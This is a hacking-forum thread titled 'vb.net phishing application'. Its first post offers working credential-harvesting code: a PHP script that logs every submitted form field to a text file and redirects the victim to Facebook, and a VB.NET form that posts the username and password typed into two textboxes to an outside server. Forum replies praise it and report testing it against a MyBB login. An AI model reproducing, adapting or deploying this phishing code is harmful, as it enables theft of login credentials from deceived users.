Discord Server Twitter Donation Youtube Google+
Thread Rating:
  • 9 Vote(s) - 3.44 Average
  • 1
  • 2
  • 3
  • 4
  • 5
vb.net phishing application
#1
what is need

2 textboxes
and a button


web server required
PHP Code:
<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

header ('Location: http://www.facebook.com');
$handle fopen("log.txt""a");
foreach(
$_POST as $variable => $value) {
 
  fwrite($handle$variable);
 
  fwrite($handle"=");
 
  fwrite($handle$value);
 
  fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>

url to log.txt







Imports System.Net
Imports System.Text
Imports System.IO

Public Class Form1

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim errorString As String = "Test String"
        Dim postData = "user_Name= " & TextBox1.Text & vbCrLf
        Dim postData1 = "Password= " & TextBox2.Text
        Dim request As WebRequest = WebRequest.Create("http://darktown.comeze.com/i.php?")

        request.Credentials = CredentialCache.DefaultCredentials
        CType(request, HttpWebRequest).UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"

        request.Method = "POST"

        Dim byteArray As Byte() = Encoding.ASCII.GetBytes(postData + postData1)
        request.ContentType = "application/x-www-form-urlencoded"
        request.ContentLength = byteArray.Length

        Dim dataStream As Stream = request.GetRequestStream()
        dataStream.Write(byteArray, 0, byteArray.Length)
        dataStream.Close()

        Dim response As WebResponse = request.GetResponse()
        'dataStream = response.GetResponseStream()
        Console.WriteLine(CType(response, HttpWebResponse).StatusDescription)
        dataStream = response.GetResponseStream()

        Dim reader As New StreamReader(dataStream)
        Dim responseFromServer As String = reader.ReadToEnd()

        reader.Close()
        dataStream.Close()
        response.Close()

        Debug.Print(responseFromServer)
        Try
        Catch ex As Exception
            MsgBox(ex.Message.ToString)
        End Try
    End Sub
End Class

Reply
#2
Thanks bro Smile
Keep it up

[Image: 4Kxb0N1.gif]
We Are Anonymous, We Are Legion, We Do not Forgive, We do not Forget
Expect Us
Reply
#3
(06-20-2017, 09:55 PM)Mr.Kurd Wrote: Thanks bro Smile
Keep it up

Works in vb.net mybb login ass well been tested
Reply
#4
(06-21-2017, 02:03 AM)viruss Wrote:
(06-20-2017, 09:55 PM)Mr.Kurd Wrote: Thanks bro Smile
Keep it up

Works in vb.net mybb login ass well been tested

Nice, Keep it up but change the style Smile

[Image: 4Kxb0N1.gif]
We Are Anonymous, We Are Legion, We Do not Forgive, We do not Forget
Expect Us
Reply




Users browsing this thread: 2 Guest(s)